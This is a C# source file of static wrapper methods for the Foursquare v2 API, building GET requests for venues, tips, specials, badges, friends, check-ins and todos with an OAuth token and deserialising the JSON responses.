/// <summary> /// Returns a list of venues near the current location with the most people currently checked in. /// </summary> /// <param name="ll">required Latitude and longitude of the user's location.</param> /// <param name="limit">Number of results to return, up to 50.</param> /// <param name="radius">Radius in meters, up to approximately 2000 meters.</param> public static FourSquareVenues VenueTrending(string ll, string limit, string radius, string AccessToken) { HTTPGet GET = new HTTPGet(); string Query = ""; #region Query Conditioning //ll if (!ll.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "ll=" + ll; } //limit if (!limit.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "limit=" + limit; } //radius if (!radius.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "radius=" + radius; } #endregion Query Conditioning string EndPoint = "https://api.foursquare.com/v2/venues/trending" + Query + "&callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareVenues TrendingVenues = new FourSquareVenues(JSONDictionary); return TrendingVenues; }
/// <summary> /// Provides a count of how many people are at a given venue. If the request is user authenticated, also returns a list of the users there, friends-first. /// </summary> /// <param name="VENUE_ID">required ID of venue to retrieve</param> /// <param name="limit">Number of results to return, up to 500.</param> /// <param name="offset">Used to page through results.</param> /// <param name="afterTimestamp">Retrieve the first results to follow these seconds since epoch</param> public static FourSquareCheckins VenueHereNow(string VENUE_ID, string limit, string offset, string afterTimestamp, string AccessToken) { HTTPGet GET = new HTTPGet(); string Query = ""; #region Query Conditioning //limit if (!limit.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "limit=" + limit; } //offset if (!offset.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "offset=" + offset; } //afterTimestamp if (!afterTimestamp.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "afterTimestamp=" + afterTimestamp; } #endregion Query Conditioning string EndPoint = "https://api.foursquare.com/v2/venues/" + VENUE_ID + "/herenow" + Query + "&callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareCheckins Checkins = new FourSquareCheckins(JSONDictionary); return Checkins; }
/// <summary> /// Gives details about a special, including text and whether it is unlocked for the current user. /// </summary> /// <param name="SPECIAL_ID">required ID of special to retrieve</param> /// <param name="venueId">required ID of a venue the special is running at</param> public static FourSquareSpecial Special(string SPECIAL_ID, string venueId, string AccessToken) { HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/specials/" + SPECIAL_ID + "?venueId=" + venueId + "&callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); return new FourSquareSpecial((Dictionary<string, object>)JSONDictionary); }
/// <summary> /// Recent checkins by friends /// </summary> /// <param name="ll">Latitude and longitude of the user's location, so response can include distance. "44.3,37.2"</param> /// <param name="limit">Number of results to return, up to 100.</param> /// <param name="afterTimestamp">Seconds after which to look for checkins</param> public static FourSquareCheckins CheckinRecent(string LL, string Limit, string AfterTimestamp, string AccessToken) { string Query = ""; if (!LL.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "ll=" + LL; } if (!Limit.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "limit=" + Limit; } if (!AfterTimestamp.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "afterTimestamp=" + AfterTimestamp; } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/checkins/recent" + Query + "callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareCheckins Checkins = new FourSquareCheckins(JSONDictionary); return Checkins; }
/// <summary> /// Gives details about a tip, including which users (especially friends) have marked the tip to-do or done. /// </summary> /// <param name="TIP_ID">required ID of tip to retrieve</param> public static FourSquareTip Tip(string TIP_ID, string AccessToken) { HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/tips/" + TIP_ID + "?callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareTip Tip = new FourSquareTip(JSONDictionary); return Tip; }
/// <summary> /// Returns tips for a venue. /// </summary> /// <param name="VENUE_ID">required The venue you want tips for.</param> /// <param name="sort">One of recent or popular.</param> /// <param name="limit">Number of results to return, up to 500</param> /// <param name="offset">Used to page through results.</param> public static FourSquareTips VenueTips(string VENUE_ID, string sort, string limit, string offset, string AccessToken) { HTTPGet GET = new HTTPGet(); string Query = ""; #region Query Conditioning //sort if (!sort.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "sort=" + sort; } //limit if (!limit.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "limit=" + limit; } //offset if (!offset.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "offset=" + offset; } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } #endregion Query Conditioning string EndPoint = "https://api.foursquare.com/v2/venues/" + VENUE_ID + "/tips" + Query + "callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareTips Tips = new FourSquareTips(JSONDictionary); return Tips; }
/// <summary> /// Returns badges for a given user. /// </summary> /// <param name="USER_ID">ID for user to view badges for..</param> public static FourSquareBadgesAndSets UserBadges(string USERID, string AccessToken) { FourSquareBadgesAndSets BadgesAndSets = new FourSquareBadgesAndSets(); if (USERID.Equals("")) { USERID = "self"; } HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/users/" + USERID + "/badges?oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); JSONDictionary = ExtractDictionary(JSONDictionary, "response"); if (JSONDictionary.ContainsKey("defaultSetType")) { BadgesAndSets.defaultSetType = JSONDictionary["defaultSetType"].ToString(); } foreach (KeyValuePair<string, object> Obj in (Dictionary<string, object>)JSONDictionary["badges"]) { BadgesAndSets.Badges.Add(new FourSquareBadge((Dictionary<string, object>)Obj.Value)); } foreach (object Obj in (object[])((Dictionary<string, object>)JSONDictionary["sets"])["groups"]) { BadgesAndSets.BadgeSets.Add(new FourSquareBadgeSet((Dictionary<string, object>)Obj)); } return BadgesAndSets; }
/// <summary> /// Returns a setting for the acting user. /// </summary> /// <param name="Setting">The name of a setting</param> public static FourSquareSettings Settings(string AccessToken) { Dictionary<string, Object> SettingDictionary = new Dictionary<string, Object>(); HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/settings/all?callback=XXX&v=" + Version + "&callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareSettings Settings = new FourSquareSettings(JSONDictionary); return Settings; }
/// <summary> /// Returns an array of a user's friends. /// </summary> /// <param name="USER_ID">Identity of the user to get friends of. Pass self to get friends of the acting user</param> /// <param name="Limit">Number of results to return, up to 500.</param> /// <param name="Offset">Used to page through results</param> public static FourSquareUsers UserFriends(string USER_ID, int Limit, int Offset, string AccessToken) { List<FourSquareUser> FriendUsers = new List<FourSquareUser>(); string Query = ""; if (USER_ID.Equals("")) { USER_ID = "self"; } if (Limit > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "limit=" + Limit.ToString(); } if (Offset > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "offset=" + Offset.ToString(); } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/users/" + USER_ID + "/friends" + Query + "callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareUsers Friends = new FourSquareUsers(JSONDictionary); return Friends; }
/// <summary> /// Returns a list of specials near the current location. /// </summary> /// <param name="ll">Required. Latitude and longitude to search near.</param> /// <param name="llAcc">Accuracy of latitude and longitude, in meters.</param> /// <param name="alt">Altitude of the user's location, in meters.</param> /// <param name="altAcc">Accuracy of the user's altitude, in meters.</param> /// <param name="limit">Number of results to return, up to 50.</param> public static FourSquareSpecials SpecialSearch(string ll, string llAcc, string alt, string altAcc, string limit, string AccessToken) { HTTPGet GET = new HTTPGet(); #region Query Conditioning string Query = ""; //ll if (!ll.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "ll=" + ll; } //llAcc if (!llAcc.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "llAcc=" + llAcc; } //alt if (!alt.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "alt=" + alt; } //altAcc if (!altAcc.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "altAcc=" + altAcc; } //limit if (!limit.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "limit=" + limit; } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } #endregion Query Conditioning string EndPoint = "https://api.foursquare.com/v2/specials/search" + Query + "callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareSpecials Specials = new FourSquareSpecials(JSONDictionary); return Specials; }
/// <summary> /// Returns the user's leaderboard. /// </summary> /// <param name="neighbors">Number of friends' scores to return that are adjacent to your score, in ranked order. </param> public static FourSquareLeaderBoard UserLeaderBoard(int Neighbors, string AccessToken) { HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/users/leaderboard?neighbors=" + Neighbors.ToString() + "&callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareLeaderBoard FSLeaderBoard = new FourSquareLeaderBoard(JSONDictionary); return FSLeaderBoard; }
/// <summary> /// Returns a list of tips near the area specified. /// </summary> /// <param name="ll">required Latitude and longitude of the user's location.</param> /// <param name="limit">optional Number of results to return, up to 500.</param> /// <param name="offset">optional Used to page through results.</param> /// <param name="filter">If set to friends, only show nearby tips from friends.</param> /// <param name="query">Only find tips matching the given term, cannot be used in conjunction with friends filter.</param> public static FourSquareTips TipSearch(string ll, string limit, string offset, string filter, string query, string AccessToken) { #region QueryConditioning string Query = ""; if (!ll.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "ll=" + ll; } if (!limit.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "limit=" + limit; } if (!offset.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "offset=" + offset; } if (!filter.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "filter=" + filter; } if (!query.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "query=" + query; } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } #endregion QueryConditioning HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/tips/search" + Query + "callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareTips Tips = new FourSquareTips(JSONDictionary); return Tips; }
/// <summary> /// Helps a user locate friends. /// </summary> /// <param name="Phone">A comma-delimited list of phone numbers to look for.</param> /// <param name="EMail">A comma-delimited list of email addresses to look for.</param> /// <param name="Twitter">A comma-delimited list of Twitter handles to look for.</param> /// <param name="TwitterSource">A single Twitter handle. Results will be friends of this user who use Foursquare.</param> /// <param name="Fbid">A comma-delimited list of Facebook ID's to look for.</param> /// <param name="Name">A single string to search for in users' names</param> public static FourSquareUsers UserSearch(string Phone, string Email, string Twitter, string TwitterSource, string Fbid, string Name, string AccessToken) { HTTPGet GET = new HTTPGet(); string Query = ""; //Phone if (!Phone.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "phone=" + Phone; } //Email if (!Email.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "email=" + Email; } //Twitter if (!Twitter.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "twitter=" + Twitter; } //TwitterSource if (!TwitterSource.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "twitterSource=" + TwitterSource; } //Fbid if (!Fbid.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "fbid=" + Fbid; } //Name if (!Name.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "name=" + Name; } string EndPoint = "https://api.foursquare.com/v2/users/search" + Query + "&callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareUsers FoundUsers = new FourSquareUsers(JSONDictionary); return FoundUsers; }
/// <summary> /// Returns a history of checkins for the authenticated user. /// </summary> /// <param name="USER_ID">For now, only "self" is supported</param> /// <param name="Limit">For now, only "self" is supported</param> /// <param name="Offset">Used to page through results.</param> /// <param name="afterTimestamp">Retrieve the first results to follow these seconds since epoch.</param> /// <param name="beforeTimeStamp">Retrieve the first results prior to these seconds since epoch</param> public static FourSquareCheckins UserCheckins(string USER_ID, int Limit, int Offset, double afterTimestamp, double beforeTimeStamp, string AccessToken) { HTTPGet GET = new HTTPGet(); string Query = ""; if (USER_ID.Equals("")) { USER_ID = "self"; } if (Limit > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "limit=" + Limit.ToString(); } if (Offset > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "offset=" + Offset.ToString(); } if (afterTimestamp > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "afterTimestamp=" + afterTimestamp.ToString(); } if (beforeTimeStamp > 0) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "beforeTimeStamp=" + beforeTimeStamp.ToString(); } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } string EndPoint = "https://api.foursquare.com/v2/users/" + USER_ID + "/checkins" + Query + "callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareCheckins Checkins = new FourSquareCheckins(JSONDictionary); return Checkins; }
/// <summary> /// Returns todos from a user. /// </summary> /// <param name="USER_ID">Identity of the user to get todos for. Pass self to get todos of the acting user.</param> /// <param name="Sort">One of recent, nearby, or popular. Nearby requires geolat and geolong to be provided.</param> /// <param name="LL">Latitude and longitude of the user's location (Comma separated)</param> public static FourSquareTodos UserTodos(string USER_ID, string Sort, string LL, string AccessToken) { if (USER_ID.Equals("")) { USER_ID = "self"; } string Query = ""; if (!Sort.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "sort=" + Sort; } if (!LL.Equals("")) { if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } Query += "ll=" + LL; } if (Query.Equals("")) { Query = "?"; } else { Query += "&"; } HTTPGet GET = new HTTPGet(); string EndPoint = "https://api.foursquare.com/v2/users/" + USER_ID + "/todos" + Query + "callback=XXX&v=" + Version + "&oauth_token=" + AccessToken; GET.Request(EndPoint); Dictionary<string, object> JSONDictionary = JSONDeserializer(GET.ResponseBody); FourSquareTodos ReturnTodos = new FourSquareTodos(JSONDictionary); return ReturnTodos; }